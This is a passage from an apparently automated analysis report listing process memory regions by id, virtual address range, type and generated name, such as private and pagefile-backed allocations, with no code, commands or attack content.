0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7610 start_va = 0x9150000 end_va = 0x92a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7611 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7612 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7613 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7614 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7615 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7616 start_va = 0x8fd0000 end_va = 0x912afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7617 start_va = 0x9150000 end_va = 0x92adfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7618 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7619 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7620 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7621 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7622 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7623 start_va = 0x8fd0000 end_va = 0x9138fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7624 start_va = 0x9150000 end_va = 0x92b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7625 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7626 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7627 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7628 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7629 start_va = 0x8fd0000 end_va = 0x9138fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 7630 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7631 start_va = 0x9150000 end_va = 0x92b2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7632 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7633 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7634 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7635 start_va = 0xb0d0000 end_va = 0xb242fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 7636 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7637 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7638 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7639 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7640 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7641 start_va = 0x9150000 end_va = 0x92c5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7642 start_va = 0xb0d0000 end_va = 0xb247fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 7643 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7644 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7645 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7646 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7647 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7648 start_va = 0x10bd0000 end_va = 0x110c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010bd0000" filename = "" Region: id = 7649 start_va = 0x9150000 end_va = 0x92c4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7650 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7651 start_va = 0x110d0000 end_va = 0x115c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000110d0000" filename = "" Region: id = 7652 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7653 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7654 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7655 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7656 start_va = 0xb0d0000 end_va = 0xb246fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 7657 start_va = 0x710000 end_va = 0x713fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 7658 start_va = 0x9150000 end_va = 0x92c9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7659 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7660 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7661 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7662 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7663 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7664 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7665 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7666 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7667 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7668 start_va = 0xb0d0000 end_va = 0xb24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 7669 start_va = 0x9150000 end_va = 0x92c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009150000" filename = "" Region: id = 7670 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7671 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7672 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7673 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7674 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7675 start_va = 0xb0d0000 end_va = 0xb24cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 7676 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7677 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7678 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7679 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7680 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7681 start_va = 0xf740000 end_va = 0xf8c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7682 start_va = 0xf9d0000 end_va = 0xfb59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7683 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7684 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7685 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7686 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7687 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7688 start_va = 0xf740000 end_va = 0xf8c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7689 start_va = 0xf9d0000 end_va = 0xfb59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7690 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7691 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7692 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7693 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7694 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7695 start_va = 0xf740000 end_va = 0xf8c4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7696 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7697 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7698 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7699 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7700 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7701 start_va = 0xf9d0000 end_va = 0xfb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7702 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7703 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7704 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7705 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7706 start_va = 0xf740000 end_va = 0xf8d8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7707 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7708 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7709 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7710 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7711 start_va = 0xf9d0000 end_va = 0xfb61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7712 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7713 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7714 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7715 start_va = 0xf740000 end_va = 0xf8ddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7716 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7717 start_va = 0xf9d0000 end_va = 0xfb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7718 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7719 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7720 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7721 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7722 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7723 start_va = 0xf740000 end_va = 0xf8e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7724 start_va = 0xf9d0000 end_va = 0xfb67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7725 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7726 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7727 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7728 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7729 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7730 start_va = 0xf740000 end_va = 0xf8e5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7731 start_va = 0xf9d0000 end_va = 0xfb77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7732 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7733 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7734 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7735 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7736 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7737 start_va = 0xf740000 end_va = 0xf8e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7738 start_va = 0xf9d0000 end_va = 0xfb78fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7739 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7740 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7741 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7742 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7743 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7744 start_va = 0xf740000 end_va = 0xf8f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7745 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7746 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7747 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7748 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7749 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7750 start_va = 0xf9d0000 end_va = 0xfb79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7751 start_va = 0xf740000 end_va = 0xf8eefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7752 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7753 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7754 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7755 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7756 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7757 start_va = 0xf9d0000 end_va = 0xfb7cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7758 start_va = 0xf740000 end_va = 0xf8f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7759 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7760 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7761 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7762 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7763 start_va = 0xf9d0000 end_va = 0xfb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7764 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7765 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7766 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7767 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7768 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7769 start_va = 0xf740000 end_va = 0xf8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7770 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7771 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7772 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7773 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7774 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7775 start_va = 0xf9d0000 end_va = 0xfb86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7776 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7777 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7778 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7779 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7780 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7781 start_va = 0xf740000 end_va = 0xf8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7782 start_va = 0xf9d0000 end_va = 0xfb8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7783 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7784 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7785 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7786 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7787 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7788 start_va = 0xf740000 end_va = 0xf907fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7789 start_va = 0xf9d0000 end_va = 0xfb98fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7790 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7791 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7792 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7793 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7794 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7795 start_va = 0xf740000 end_va = 0xf90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7796 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7797 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7798 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7799 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7800 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7801 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 